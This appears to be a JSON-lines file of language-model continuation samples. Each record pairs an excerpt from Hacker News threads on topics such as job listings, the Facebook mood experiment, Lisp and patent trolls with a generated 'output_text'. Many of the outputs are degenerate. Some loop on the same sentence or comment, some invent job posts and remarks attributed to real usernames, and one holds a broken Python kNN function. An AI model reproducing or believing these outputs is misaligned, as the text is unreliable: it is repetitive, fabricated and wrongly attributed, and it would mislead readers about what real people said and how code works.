wanted. You could take as little time as you\nwanted. You could take as much time as you wanted. You could take as little\ntime as you wanted. You could take as much time as you wanted. You could take\nas little time as you wanted. You could take as much time as you wanted. You\ncould take", "input_text": "tea\n> _I usually think the same for vast majority of stuff on HN, i.e. most\n> articles could be cut down to one or two paragraphs with little value lost,_\n\nMaybe life too.\n\nInstead of going through this whole redundant process of living through it, we\ncould just be given some 10 word summary, like e.g.:\n\n\"There was some fun, some sadness, a few regrets, a couple profound\nexperiences, a lot of boredom, quite some pain, mostly ok, and then you died\".\n\n~~~\nRivieraKid\nThat analogy doesn't make much sense...\n\n~~~\ncoldtea\nHere's another way to put it:\n\n\"I have heard many People say, 'Give me the Ideas. It is no matter what Words\nyou put them into.' To this I reply, Ideas cannot be Given but in their\nminutely Appropriate Words.\"\n\n\\- William Blake\n\n~~~\nRivieraKid\nOh ok, I get the point... But for a lot of articles it seems that 90% of the\nvalue can be conveyed with 10% of the length, so I usually just quickly skim\nit - unless it's the type of text where the value is in the experience of\nreading and not information (stories, poems,...).\n\n~~~\ncoldtea\nI guess that can be true for technical articles the most (e.g. just get to the\ninstructions, numbers, results etc), but probably not as easily for things\nlike this Fry post.\n\n~~~\nRivieraKid\nYeah, that was my point, that this desn't apply for Fry's writing.\n\n------\nalva\n\"The internet, as opposed to AOL and the others, was like"} +{"output_text": " at blog.booking.com.\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a full-stack engineer to join our team.\n\nWe are a small team of engineers who are passionate about building the best\nteam communication tool. We are looking for someone who is excited to work on\nthe backend, frontend, and mobile apps.\n\nWe are", "input_text": "w](https://boards.greenhouse.io/gusto/jobs/188188#.WJJynrYrLAw)\nor email me directly.\n\nInterview process: 1 technical phone screen (1 hour over Coderpad), and 1\nonsite interview (~4.5 hours of interviews + pair programming)\n\n------\nsid6376\nBooking.com - Amsterdam(Netherlands), Shanghai (China), Seattle, WA (USA),\nONSITE Full-time, relocation to Amsterdam, (H1B or its dutch equivalent\nanyway) is taken care of by the company.\n\nGeneral Interview Process -> Hackerrank test, call with the recruiter, phone\ninterview, onsite interviews\n\nI work at Booking.com, which is a world leader in travel accommodations, as a\nbackend developer. I have only positive things to say about working here. The\npeople are intelligent and helpful, interesting problems to solve and the work\nhours are unbelievably sane. The company is strongly data driven and very\ndynamic, which was one of its biggest charms for me. Amsterdam is not a bad\nplace to be either :) The Dutch government also gives a tax break through the\n30% ruling to non-dutch people.The work environment is very international and\neverybody speaks fluent English. The relocation process is also very finely\ntuned through years of experience of doing this.\n\nIf you have any other questions about the company or the hiring process or you\nwould like me to refer you, please feel free to send me an email at\nsiddharthsarda01 at gmail.com (Email also in my profile at Hacker news). To\nhave an idea of the kind of problems being solved here, you can also look at\nour dev blog"} +{"output_text": "\n~~~\npmoriarty\nI'm not sure if it's possible to do this with magit, but I've been using\n[https://github.com/jwiegley/git-\ngrep](https://github.com/jwiegley/git-grep) for a while now.\n\n------\njedberg\nI'm curious how this compares to the \"code intelligence\" that GitHub has been\nbuilding for a while now.\n\n", "input_text": " a timeline-style view of the\n> results, so you can skip to the most impactful parts of a pull request.\n\nIt would be awesome to hear a timeline for rolling this out to more languages,\nespecially Python.\n\n------\nbcherny\nI wonder how the Souregraph guys feel about Github getting into their\nterritory..\n\n~~~\nsqs\nSourcegraph founder here. We love it. The more developers who are using code\nintelligence in their tools, the better the language support will be for all\nthe various languages and repositories out there. That's good for developers\neverywhere, and we (Sourcegraph) could never build it all alone.\n\nOur master plan at\n[https://sourcegraph.com/plan](https://sourcegraph.com/plan) describes what\nwe're building on top of these basic \"code intelligence\" primitives, to help\ndevelopers in all of their dev tools (not just GitHub), in all of their\nworkflow, and in companies that have lots of code. And just like GitHub, we\nlet people use these things for free on open-source so they can see how useful\nthey are.\n\n------\npetetnt\nNice addition!\n\nIf anyone at GitHub is reading this, the dropdown cannot be keyboard navigated\nbecause the dropdown doesn't scroll with the focus.\n\n------\npmoriarty\nCan magit do this for code outside of github?\n\n~~~\ncosmicexplorer\nActually not sure how to do this with magit, but I just tried `vc-region-\nhistory' while highlighting an R method signature and body and got a pretty\nslick view of all the relevant commits. Would definitely prefer magit for\njumping to commits, might take a few lines of elisp.\n"} +{"output_text": " are about the right to control the use of a work.\n\n\"If you are a student, you should be able to use the articles for academic\npurposes.\"\n\n...but you can't. You can't use the articles for academic purposes because\nJSTOR has no claim to them.\n\n\"If you are a professor, you should be able to use the articles for academic\npurposes.\"\n\n...but you can't. You can't use the articles", "input_text": ", then the law itself is what\nis wrong.\n\n\"behaving like a reasonable person\"\n\nHow conservative of you. I hear there are some lovely caves that people used\nto live in, until some unreasonable person had a \"better\" idea (I wonder if\nyou would have made an argument for punishing him -- after all, not living in\ncaves might disrupt the social order).\n\n\"If I let you come apple picking in my orchard, you can't bring in a fruit\ntruck and some day laborers and strip the trees bare.\"\n\nYou are comparing apples to universal Turing machines. Your comparison is\nactually that bad -- you might as well be talking about the superbowl than\nAaron Swartz.\n\nAaron did not strip anyone or anything. He prevented nobody else from using\nJSTOR, nor did he stop anyone from reading the articles he downloaded, nor\nfrom using the network, nor from using the closet where he hid his laptop. _He\ncaused no measurable damage to anyone or anyone's property_ at any point in\nthe JSTOR incident.\n\n\"If JSTOR gives you permission to access journal articles for academic\npurposes...\"\n\n...then I should be free to use those articles for any purpose, because JSTOR\nhas no claim to them or to the knowledge they contain. What gives JSTOR the\n_moral right_ to tell anyone what they are allowed to do with the articles\nJSTOR provides to them? Sure, we have this thing called copyright that emerged\nfrom British attempts to censor books in the age of printing presses (I wonder\nif the Chinese firewall will lead to the creation of a similar law), but\ncopyrights are in no way related to modern senses of morality or justice --\ncopyrights"} +{"output_text": " Who Don't Pay Their Bill - jonathanturley\nhttp://www.wired.com/business/2013/08/comcast-bill-pay/\n======\njosh2600\nI'm not sure why this is news.\n\nComcast has been doing this for years.\n\n~~~\njosh2600\nI'm not sure why this is news.\n\nComcast has been doing this for years.\n\n~~~\njosh26", "input_text": " we charge merchants\nto access additional tools like exit surveys, the ability to configure\nquestions on chargebacks for their business. Also we're working on a set of\ntools to help merchants reduce chargebacks in general - like domains to put on\ncredit card receipts, that type of thing.\n\nThe value is that each chargeback is a lead to a business with a chargeback\nproblem :)\n\n------\nwilfra\nThis is the online equivalent of \"protection\" money the mafia asks for when\nthey say they're going to burn down your store if you don't pay them.\n\nI applaud making it easier for people to file chargebacks but shame on your\nbusiness model.\n\nEdit: after reading the explanation given below perhaps the business model is\nnot as bad as it first seems - if that's the case, you need to make it more\nclear! It looks like you are encouraging people to file chargebacks and then\nshaking down the merchants for money with the threat of the chargeback getting\nfiled if they don't pay you.\n\n~~~\nmario1900\nMaybe using the word \"protection\" on the business page was a bad idea.\nMerchants don't need to pay us to resolve chargebacks. We just try to make\ntheir services better in the future through premium data services. Please see\nthis comment \n\n~~~\nwilfra\nyou're also not being honest with your users. you're not actually filing\nchargebacks on their behalf, at least not at first. you're asking for their\npermission to harass/spam/threaten the merchants they have a problem with -\nthen filing a chargeback if you don't get what you want.\n\n \nComcast Is Threatening to Cut Off Customers"} +{"output_text": " are in AI.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's a good thing that we're finally getting rid of the torpedoes.\n\nI think it's a bad thing that we're getting rid of the torpedoes because it\nmeans we're going to have to spend more money on the subs.\n\n~~~\njedberg\nI'm not sure if this is a good thing or not", "input_text": "Damn, for me any person who deals with any kind of unexploded ordnance is (as\nwell) a hero.\n\n------\nbrazzy\nPrevious HN discussion about a different article (focusing on politics and\nvery superficial concerning the actual problems) about the same subject:\n[https://news.ycombinator.com/item?id=20665422](https://news.ycombinator.com/item?id=20665422)\n\n------\ngadders\nIf you're fans of alternative history fiction, the Destroyermen [1] series\ntouches on the torpedo issues as well.\n\n[1]\n[https://en.wikipedia.org/wiki/Destroyermen](https://en.wikipedia.org/wiki/Destroyermen)\n\n------\nrshnotsecure\nIt\u2019s very likely that the torpedoes did not work for the whole war really. It\nsometimes is scary to think about all the complaints sub commanders put in,\nonly to be dismissed by the Department of the Navy as excuses for bad\nleadership or tactics. I get that you have to take this line sometimes but\nstill...\n\nThat being said it should be noted US Naval strategy has never particularly\nrelied on subs or been that great at it.\n\nThis has always fallen to the Eurasian powers such as Germany, Russia, and\nChina/Japan.\n\nNothing has been downed by a torpedo in actual combat for the last 75 years,\nso realize that there are so many unknowns today in submarine warfare that you\ndon\u2019t see in say land warfare. That being said it looks like Underwater\nUnmanned Autonamous Drones is where sub warfare is heading. Supposedly China\nis way ahead of the pack here much like they"} +{"output_text": "pn.net/faq.html#q-how-do-i-use-a-vpn-to-\naccess-a-site-when-i-travel.\n\n~~~\nxyrouter\nThanks for the suggestion. I am going to try it.\n\n------\njoshstrange\nI've been using this for a while now and it's been great. I've been using it\nfor a while now and it's been great. I've", "input_text": ".net\n 0.0.0.0 tpc.googlesyndication.com\n \n \n\nTo login to a google service such as gmail or enable captcha, comment out the\nthree (*.)gstatic domains.\n\n~~~\nmito88\nnice!\n\n------\nxyrouter\nI can block domains on my laptop, no problem. But I have not been able to\nfigure out any convenient way to block websites on my Android phone. My\nAndroid phone comes with a Chrome browser. Any ideas about how to block\nwebsites reliably on an unrooted/jail-not-broken Android phone?\n\n~~~\nbronco21016\nBlock at DNS level on a device (router or DNS server) and proxy all Android\ntraffic to said device.\n\nI use a pfsense router running OpenVPN and pfblockerNG. PfblockerNG sinkholes\nall DNS requests to domains from a list such as this one. Then by using\nOpenVPN I simultaneously encrypt my connection when roaming remotely and I can\nspecify to use my home DNS server to sinkhole ad/tracking domains.\n\n~~~\nxyrouter\nThanks for the suggestion. I think this will work fine in a home network that\nI can control. But this is not going to work when I am traveling and using my\ncarrier's 4G network. Am I right? Is there any nifty solution to address the\nlater?\n\nI am a little disappointed that I can't do something as simple as install\nplugins for my phone browser that can block sites.\n\n~~~\nmoviuro\n> But this is not going to work when I am traveling and using my carrier's 4G\n> network.\n\nThat's what VPNs are for. See openv"} +{"output_text": "\nother social network works.\n\n~~~\njoe_the_user\n_Every single time Facebook changes anything on their site it \"manipulates\nusers' emotions\". Show more content from their friends? Show less? Show more\nfrom some friends? Show one type of content more, another less? Change the\nfont? Enlarge/shrink thumbnail images? All these things affect users on all\nlevels, including emotionally, and Facebook does such changes every day._\n", "input_text": " is attempting to\nsway user behaviour toward purchasing or some other goal which is usually\nobvious to the user.\n\nWith this experiment, Facebook are modifying the news feeds of their users\nspecifically to affect their emotions, and then measure impact of that\nemotional change. The intention is to modify the feelings of users on the\nsystem, some negatively, some positively.\n\nIntentional messing with human moods like this purely for experimentation is\nthe reason why ethics committees exist at research organisations, and why\ninformed consent is required from participants in experiments.\n\nInformed consent in this case could have involved popping up a dialog to all\nusers who were to be involved in the experiment, informing them that the\npresentation of information in Facebook would be changed in a way that might\naffect their emotions or mood. That is what you would expect of doctors and\nresearchers when dealing with substances or activities that could adversely\naffects people's moods. We should expect no less from pervasive social\nnetworks like Facebook.\n\n------\nazakai\nOh, please.\n\nEvery single time Facebook changes anything on their site it \"manipulates\nusers' emotions\". Show more content from their friends? Show less? Show more\nfrom some friends? Show one type of content more, another less? Change the\nfont? Enlarge/shrink thumbnail images? All these things affect users on all\nlevels, including emotionally, and Facebook does such changes every day.\n\nTalking about \"informed consent\" in the context of a \"psychological\nexperiment\" here is bizarre. The \"subjects\" of the \"experiment\" here are users\nof Facebook. They decided to use Facebook, and Facebook tweaks the content it\nshows them every single day. They expect that. That is how Facebook and every"} +{"output_text": " \"So smart\nthey can't help but be a jerk\".\n\n~~~\nmajos\nI think that's a fair point. I think the appeal of smart jerk god characters\nis that they're not just smart, they're also _bad_. They're not just\nintelligent, they're also _evil_.\n\n------\njames_s_tayler\nI think the author is conflating the concept of \"mad genius\" with the concept\nof \"mad", "input_text": "~~~\nbillpg\nIf you use Windows, [Logo]+[.]\n\n~~~\nwongarsu\nThat's a neat trick. It even has kaomoji and useful symbols \u2570( _\u00b0\u25bd\u00b0_ )\u256f\n\n~~~\nAvamander\nThis sounds like the modern version of this\n[http://bash.org/?835030](http://bash.org/?835030) quote.\n\n------\nmarkandrewj\nGhost in the shell...\n\n------\nhuxflux\nThis made my day!\n\n \nThe myth of \u2018mad\u2019 genius - baddash\nhttps://aeon.co/essays/is-there-any-evidence-linking-creativity-and-mood-disorders\n======\ncommandlinefan\nI've always wondered if a lot of \"eccentric\" people aren't just behaving the\nway everybody would naturally behave if they could get away with it. I say and\ndo a lot of things because I have to if I want to have food to eat and a place\nto sleep, but I'll never know how different my behavior _might_ have been if I\nwere rich enough or brilliant enough that people would just put up with\nwhatever I happened to feel like doing at any given moment.\n\n~~~\nmajos\nOn a related note, I think this idea explains the appeal of smart jerk god\ncharacters (Doctor Who, Doctor House, Rick Sanchez, Sherlock Holmes...) to a\nsizeable portion of nerds (including me). \"So smart they can't help but need\nyou\" is not a healthy goal, but damn if it isn't seductive.\n\n~~~\nNtrails\nTo me it's not so much \"So smart they can't help but need you\", as"} +{"output_text": " is a great platform for remote workers.\n\n------\nmatt_the_bass\nI have a friend who is a remote worker. He pays his own taxes and has a\nseparate bank account for his business.\n\n------\nmatt_the_bass\nI have a friend who is a remote worker. He pays his own taxes and has a\nseparate bank account for his business.\n\n------\nmatt_the_bass\nI have", "input_text": " support by this.\nThe options of the responses seem negative to the ppl behind the fork\n\n~~~\nnailer\nIs 'you' Rod, Max or the people behind the fork? Having trouble parsing your\ncomment.\n\n Ask HN: How to handle Payroll for remote \u201cemployees\u201d payroll outside the U.S.? - hichamin\n======\nraooll\nI work as a remote employee for a us based startup out of India. I raise and\ninvoice every month corresponding to the salary account.\n\nFor all legal purposes, I'm a consultant to the company.\n\n------\nthisone\nevery time I've looked at remote (out of country) work, it was always as a\ncontractor/consultant. Never as a true employee. That way the company pays an\ninvoice, the contractor handles all their own taxes.\n\nTreating your \"foreign\" remote workforce as employees I imagine will land you\nin some tricky international waters much better suited for your accountant,\ntax attorney, and your general business lawyer.\n\n------\nbusymichael\nAll of my remote contractors invoice me weekly. We just use a shared google\nspreadsheet that track times on one tab and sums it on another by week.\n\nI actually handle payments via xoom.com -- it is now owned by paypal. It takes\na little work to setup a new payee, but once you have paid a person once, you\ncan pay them again very easily.\n\n------\ngt2\nIf they are US citizens then whichever way you would pay the non-remote\nprobably. If they aren't, then they will tell you which is best for their\nsituation/country according to what's available there and the lowest fees.\n\n------\nhemantv\nWww.rippling.com"} +{"output_text": "What's the price? \\- What's the refund policy? \\- What's the refund process?\n\n~~~\nBentleyDavis\nThanks for the feedback.\n\n\\- I agree that the page is cluttered. I'll try to simplify it.\n\n\\- I agree that the feature and incentive should be in the center. I'll try to\nmake it more prominent.\n\n\\- I agree that the signup process should be highlighted. I'll try to make it\nmore", "input_text": "...\n\n \n \n Kaplan and his co-founder chief technology officer Mark Kuhr\n previously worked at the National Security Agency as senior\n analysts\n \n\nYes, that little fact is going to follow them around for life. It also puts\nthis quote into an ironic light:\n\n \n \n \u201cWe call them security researchers, but ultimately they\u2019re \n \u2018white hat\u2019 hackers,\u201d says Kaplan. \u201dThey\u2019re hacking for good.\u201d\n \n\nThis company does not clearly state what their relationship is with western\nintelligence agencies. Not even as much as a hint of an ethics statement or\ninformation about how long they hold disclosure or how this is handled. One\nshould assume that 'white hat' for them and 'hacking for good' may mean the\nexact opposite. With that I'm a little surprised the irony of Google Ventures\nmoney being used for this is not highlighted more. Google complains along with\nothers about the destabilisation of the tech industry at the NSA hands and yet\nfunds a company that may very well help with that?\n\n------\nkoomar\ncongrats!\n\n \n\nAsk HN: Review my coming soon page, SettleIt.org - BentleyDavis\n\n\n======\nlaurabw\nHey, I have some thoughts for you: \\- it's a bit cluttered. People don't have\ntime to read through all the stuff to understand what the page is about. I'd\nmake it simpler with a couple of graphics. \\- If your goal is to sign up\ncustomers, you should highlight the feature and put it in the center. Also,\nwhat's the incentive for people to sign up? Give them something to be excited\nabout. \\- How long will they have to wait and what do they get after that? \\-\n"} +{"output_text": "-school plaintext email.\n\n------\njoshu\nI'm not sure I understand the privacy policy.\n\n\"We will not sell, rent, or give away your email address to anyone.\"\n\nI don't understand why you would not do that.\n\n~~~\nevandavid\nI'm not sure I understand the privacy policy.\n\n\"We will not sell, rent, or give away your email address to anyone.\"\n\nI don't understand", "input_text": " it all meant absolutely nothing.\n\nThis isn't really blogging, it's journaling. Writing a diary is supposed to be\ntherapeutic because you're writing down the things you dare not talk about\nwith others (maybe not even your SO). It's not about what you do, it's about\nhow you feel.\n\nThat's why I would like to see encryption mentioned somewhere, and pushed\nhard. I wrote one entry to see how it works, but I'm going to disable the\nnotifications until I know that my personal outpourings are not actually being\nread by others.\n\n------\nsgupta\nHey HN - we made this in our spare time, just because it was something we\nwanted to use. When we told some friends about the idea though they wanted to\nuse it too, so we decided to release it. Many thanks for checking it out.\n\n~~~\nevandavid\nI love the idea. Love it. Like, really excited. However, I'm not prepared to\nuse a service like this in a hosted environment. Too many risks: you go out of\nbusiness, security, privacy, etc. Plus the information just feels to personal\nto be sitting on someone else's server. I would love to see a quick daily\nprompt like this added to Macjournal or similar software.\n\n~~~\nevandavid\nThat said, I'm sure there is a target market out there who will be more than\nwilling to use the product in its current format. I'm looking forward to\nseeing where this idea goes.\n\n------\npesco\nAccept PGP-encrypted mail seamlessly and you won't need a privacy policy\nexcept for those who like throwing their lifelog at random strangers. Be sure\nto use PGP/MIME to include the old"} +{"output_text": " have a chance to be\nconsidered for a job.\n\nI am not sure if you are aware of this but you are not the only one that\ncreates online resumes. I have seen many of them. I have also seen many that\nare not good. I have also seen many that are good. I have also seen many that\nare bad. I have also seen many that are good and bad. I have also seen many\nthat are good and bad. I have", "input_text": "Readme to state why you made it and what problem it solved or what you learned\nfrom it.\n\n~~~\nsmartsystems\nThere are four slides. It takes 10 seconds to look through the entire thing.\nIf you can't make it past the second slide before writing a three paragraph\ncritique you are 100% not in my target audience. Not that there is no validity\nin your opinion somewhere but I'm not sure if you understand the point of the\nthing.\n\n~~~\nbastijn\nI looked at your project with my work hat on, I replied to this thread with a\nthree paragraph reply with my HN community hat on.\n\nI clicked through once more for you to find your github in slide 4. My comment\nstays the same, there is nothing in there that helps me select you over people\nthat present their content in an easier to consume format.\n\nOn the content. In some countries pictures must be able to blacked out by law\n(I don't agree, yet it is truth). Your experience bullets do not say what you\nactually did. Would add where your worked and some 1-2 lines description per\nbullet on what you made/did there. If you were freelancing add your clients.\nIt helps us understand what size of companies/codebases you worked. What\ncomplexity etc. Your word cloud is indeed hard to decipher. Slide 4 I saw\ngithub, which is good.\n\nThe title says online resume. I assume the audience is recruitment. Recruiters\ntake seconds to scan if they want to spend minutes. In addition most\nrecruiters will not forward this to people like me to see if they like to\ninvite. If that means we are not your audience your resume works. Be aware you\nare limiting your own options as you now no longer"} +{"output_text": "for his _The Death of the Ball_ , is a master of this.\n\n------\ndavidiach\nI'm not sure if this is the right place to post this, but I'm curious if\nanyone has read her book \"Voices from Chernobyl: The Oral History of a Nuclear\nDisaster\".\n\n~~~\ndavidiach\nI'm not sure if this is the right place to post this, but I'm curious if\nanyone has read", "input_text": " that the\nauthors are seeing from gmake -j because most makefiles contain problems that\nconstrain parallelism and cause broken builds. For example, many have missing\ndependency information, or reuse the same file over and again for intermediate\nresults.\n\nFixing that was part of the motivation behind Electric Cloud.\n\n \nThe Nobel Prize in Literature 2015 - davidiach\nhttp://www.nobelprize.org/nobel_prizes/literature/laureates/2015/press.html?utm_source=twitter&utm_medium=social&utm_campaign=twitter_tweet\n======\nsmharris65\nI hope more people will become aware of her book \"Voices from Chernobyl: The\nOral History of a Nuclear Disaster\". A sad witness of a human tragedy.\n\n[http://www.amazon.com/Voices-Chernobyl-History-Nuclear-\nDisas...](http://www.amazon.com/Voices-Chernobyl-History-Nuclear-\nDisaster/dp/0312425848)\n\n------\nvarjag\nHer writing is vivid and terrifying. Her _War Does Not Have a Woman's Face_ is\nat the top of my list of books to unread. It's a collection of accounts from\nfemale survivors of WW2 trenches. It is not pushing a feminist narrative in\ntraditional sense (wasn't a thing in USSR) but is haunting in its honesty.\nThink _Saving Private Ryan_ without the humanistic takeaway.\n\nShe's a part of Belarusian late 20th century documentary realism tradition,\nwhere authors build around authentic, traumatic biographies of the war\ngeneration. In literature, Vasil Bykau, her contemporary, even better known\n"} +{"output_text": "I'm not sure I understand the point of this.\n\n> The Tizen project is a Linux-based operating system that is designed to\n> run on a wide range of devices, including smartphones, tablets, and\n> embedded systems.\n\n> Tizen is a Linux-based operating system that is designed to run on a wide\n> range of devices, including smartphones, tablets, and embedded systems.\n\n> Tizen is a Linux-based operating system that is designed", "input_text": " platform. At least.\n\nThat may imply Linux due to the lack of viable alternatives, but really, it\nshould be built with users in mind, rather than perceived as a technical\nchallenge of putting Touch on top of Linux.\n\n(And please, stay away from Java in your next mobile OS. Among other things,\nyou will ward off those of us, developers, who let's say are not neutral wrt.\nto certain programming languages. Edit: make Java optional if you wish.)\n\n~~~\nfafner\nThis has little to do with getting Linux on mobile. Maybe it's the motivation\nfor some. But not the driving aspect.\n\nSamsung wants Tizen to gain back full control of their platform. Canonical\nwants Ubuntu Touch (and Mozilla Firefox OS) because the PC is getting less\nimportant for consumers.\n\n> (And please, stay away from Java in your next mobile OS. Among other things,\n> you will ward off those of us, developers, who let's say are not neutral\n> wrt. to certain programming languages. Edit: make Java optional if you\n> wish.)\n\nNeither of them is based on Java. Tizen and FirefoxOS are (sadly) JavaScript\nonly. Ubuntu Touch supports JavaScript/HTML5 and Qt (JavaScript + C++).\n\n~~~\njevinskie\nTizen has a native C++ toolchain just like the Android NDK.\n\n~~~\npjmlp\nLast time I looked it had the frankenstein Bada influence, with two level\ninitialization, no exceptions, handles vs pointers and so forth.\n\nIs that still the case.\n\n~~~\njevinskie\nI'm unsure, I haven't done any app development, just toolchain work.\n\n------\nhdevalence\n"} +{"output_text": " been a Lisp programmer for about 30 years. I have used Common Lisp,\nClojure, and now Elisp. I have also used Scheme, Smalltalk, and now Elisp.\n\nI have been a professional programmer for about 40 years. I have used C, C++,\nJava, C#, Python, Ruby, and now Elisp.\n\nI have been a professional programmer for about 20 years. I have used C, C++,\nJava, C#,", "input_text": "aring to prevent nesting in the common case, no\nmore.\n\n \nHow Lisp Became God's Own Programming Language (2018) - Qaphqa\nhttps://twobithistory.org/2018/10/14/lisp.html\n======\nokine\nGerald Sussman, co-inventor of Scheme and author of SICP, was my undergraduate\nadvisor. The last several times I visited his office, he was usually with Jack\nWisdom either programming or deep in thought or discussion about differential\ngeometry and the differential geometry Scheme library they were writing. One\ntime when he wasn't so occupied, I brought up SICP, and asked if he was aware\nthat a lot of people think of reading the book as a sort of magical,\nenlightening experience. He said, \"Yes, I'm aware.\" I asked if he had any idea\nwhy. He said, \"The main reason is that it tells a good story. It also has a\ncomplete, coherent narrative.\"\n\n~~~\nRerarom\nAm I the only person that read the whole of sicp and didn't feel enlightened\nin the least? I felt way more enlightened when I read the whole of John Baez's\nthis week's finds. Maybe it's a book which you need to read when you're\nyounger.\n\n~~~\ngdubs\nCurious: did you complete all the exercises in the book? Not doubting you in\nany way, just wondering if that\u2019s a possibility. I know I\u2019ve gone through\nbooks without doing the work, while on others I have done the work \u2014 and it\u2019s\nusually a pretty different experience.\n\nBut, not everyone is gonna connect with everything, regardless.\n\n------\nmark_l_watson\nI have"} +{"output_text": "an1)\n\n------\njamesjguthrie\nGuthrie | Software Engineer | London, UK | Full-time | Onsite\n\nGuthrie is a digital agency that helps brands and businesses to grow. We\ncreate digital experiences that are tailored to the needs of our clients.\n\nWe are looking for a Software Engineer to join our team. You will be working\non a variety of projects, from building new features to improving existing\nones.\n\n", "input_text": " help build out the backend infrastructure for\nNumina. Our backend engineer will be reporting to our CTO with daily progress\nand technical deliverables, and s/he will be responsible for collaborating\nwith the product team to provide functionality to our frontend applications.\n\nMore details: [https://angel.co/cty/jobs/204709-backend-software-\nengineer](https://angel.co/cty/jobs/204709-backend-software-engineer)\n\n------\nQuovo_Sydney\nQuovo | New York, NY | ONSITE | Front-end Engineer | www.quovo.com\n\nHiring a few roles to be filled immediately via phone call, code review, and\nin-person interviews.\n\nSeeking a Software Engineer to join our Platform Team that is responsible for\ndesigning and building the core services and APIs that power Quovo\u2019s products\nand applications Full description and application:\n[http://grnh.se/cdsbx01](http://grnh.se/cdsbx01)\n\nWe are seeking a skilled Junior Python developer to work on web crawling\nprojects, along with API implementations and other data analytics tasks. If\nyou\u2019ve ever enjoyed feeling like a hacker or data detective, this might be the\njob for you. Full description and application:\n[http://grnh.se/v7qyrc1](http://grnh.se/v7qyrc1)\n\nOur API Product Manager will be reporting directly to our Chief Product\nOfficer, and will be deeply involved in defining and executing Quovo\u2019s product\ngrowth over the coming months Full description and application:\n[http://grnh.se/yq51an1](http://grnh.se/yq51"} +{"output_text": " think the patent trolls are safe.\n\n~~~\njetti\nI think that is a good point. I think that the patent trolls are just trying\nto get money from the companies that they are suing. I don't think they are\ntrying to enforce their patents.\n\n------\njrockway\nI don't understand why people are so upset about this. It's not like they are\ngoing to sue you for using the scanner. They are going to", "input_text": "\nsafety or applicability of a drug. It is perfectly possible to get a patent,\nbut fail FDA approval. It is also possible that the process to produce a drug\nat scale is itself a novel application or invention and itself patentable\n(though that may also need FDA approval separately from the drug treatment).\n\n~~~\ndhimes\n_It is perfectly possible to get a patent, but fail FDA approval._\n\nI believe this happened to Eli Lilly yesterday. EDIT: Not sure it was Lilly- I\nheard the news on the radio this morning and I can't find the source on the\nnews sites. Annoying.\n\n------\njetti\nThe article mentions that it is hard to invalidate patents with prior art and\nthat the patent holders will say that it is a narrower scope than previous\npatents. If that is the case, I can't see how this isn't extortion. There is\nno way that these \"companies\" could know the kind of network that the\ncompanies they are sending letters to use. They may be just guessing that they\nare even using a scanner. They are just mass mailing threats and hoping for\nmoney back.\n\nAlso, how is it even legal to target the users of technology in a patent\ninfringement case like this? Wouldn't the manufactures (of hardware AND\nsoftware) be the ones that would need to license the patent, not end users? I\nget why you would target the end user but is that legal/valid?\n\n~~~\nscott_s\nI agree that it is extortion in spirit. But I wonder if patent trolls can be\nprosecuted on current extortion laws, as their defense would be \"We're just\ntrying to enforce our lawful patents.\" If prosecutors would not want to try,\nthen I"} +{"output_text": ".\n\n------\njoshu\nI wonder if they have a way to get the meter to work with a cell phone.\n\n~~~\njoshu\nI guess they don't.\n\n------\njoshu\nI wonder if they have a way to get the meter to work with a cell phone.\n\n------\njoshu\nI wonder if they have a way to get the meter to work with a cell phone.\n\n------\njoshu", "input_text": "\nto 'loan' these devices for consumers who can't afford even those. You will be\nsurprised by how much utility these small capacity solar panels might provide\neven for those Indian consumers connected to grid (if they provide 2 lamps/ 1\nfan as mentioned). This is because in rural areas, power cuts of around 8\nhours/per day are very common.\n\n------\ndfxm12\nI wonder what their overhead is for going to rural areas to install/service\nthese devices.\n\n~~~\nGiraffeNecktie\nProbably not too bad since labour costs in rural areas are very low. I'm not\nsure what they are now, but unskilled labour used to be about $3 a day. I\nremember when I was in India seeing guys climbing telephone poles with no\nsafety equipment whatsoever, just raggedy street clothes and flip flop\nsandals.\n\n------\nmmatey\nCurious how they would keep them from not just ripping off the meter?\n\n~~~\nbobds\nI wonder why they chose a pay-as-you-go system depending on how much energy\nthey use.\n\nI think this would be much better as a rent-to-own program with a flat monthly\nfee.\n\n~~~\nmarquis\nSeasonal work, summer hours, school and other needs take precedence over what\na family spends money on, on a month-to-month basis. Pay-as-you-go electricity\nis common in some western countries and it is not unusual for there to be days\nwhere the family cannot afford to top-up until pay-day again, where food etc\ncomes first as a primary need.\n\n------\nww520\nCell phone can be cut off at anytime so as making it easy to link its access\nto continuous payments"} +{"output_text": "0,0)]\n for i in range(d):\n least = min(least,[(i,y[i]) for j in range(k) if y[i] == X[j]])\n return least\n \n\nand here's the gist (in R):\n\n \n \n knn <- function(y,X,k){\n d <- length(y)\n least <- list()\n for(i", "input_text": "~~~\nspdustin\nWhat an exclusionary thing to say. Was that your intent?\n\n~~~\nhugh4\nThat's not even a word.\n\n~~~\nspdustin\n[http://www.dictionary.com/browse/exclusionary](http://www.dictionary.com/browse/exclusionary)\n\nOf course, I did hear that _gullible_ was removed from the dictionary during\nan annual meeting of linguists in Leeds last year.\n\n------\nhenryw\nPretty neat for implementation used as a tutorial. A more industry standard\nimplementation would probably use a tree of some type to reduce the space and\nsearch time. For example\n[https://en.wikipedia.org/wiki/K-d_tree](https://en.wikipedia.org/wiki/K-d_tree)\nin [http://scikit-\nlearn.org/stable/modules/generated/sklearn.nei...](http://scikit-\nlearn.org/stable/modules/generated/sklearn.neighbors.KNeighborsClassifier.html)\n\n------\nbra-ket\nvery nice write-up. if you're interested in this, the next logical step is to\nlook at 'locality-sensitive hashing' and some simple state-of-the-art methods:\n[https://github.com/spotify/annoy](https://github.com/spotify/annoy)\n\n------\nleecarraher\nthis description of linear scan kNN may be a bit tedious for the hacker news\ncrowd. here's the gist (in python):\n\n \n \n def knn(y,X,k):\n d = len(y)\n least = [("} +{"output_text": " making progress, they'll stop\ndemonstrating.\n\n------\njoshuaheard\nI think the problem is that the protesters are not being effective. They are\nnot being effective in getting the attention of the media, the government, or\nthe public.\n\nThe media is not going to cover a protest that is not effective. The media\nwill cover a protest that is effective.\n\nThe government is not going to cover a protest that is not effective. The\ngovernment", "input_text": " you need to work together,as\na team, in close proximity. Change isn't easy.\n\n[1] Wrong:\n[http://img.timeinc.net/time/photoessays/2011/ows_gallery_121...](http://img.timeinc.net/time/photoessays/2011/ows_gallery_1212/ows_gallery_05.jpg)\n\n[2] Meh, street performers pull bigger crowds:\n[http://media.syracuse.com/news/photo/10265946-large.jpg](http://media.syracuse.com/news/photo/10265946-large.jpg)\n\n[2] Here we 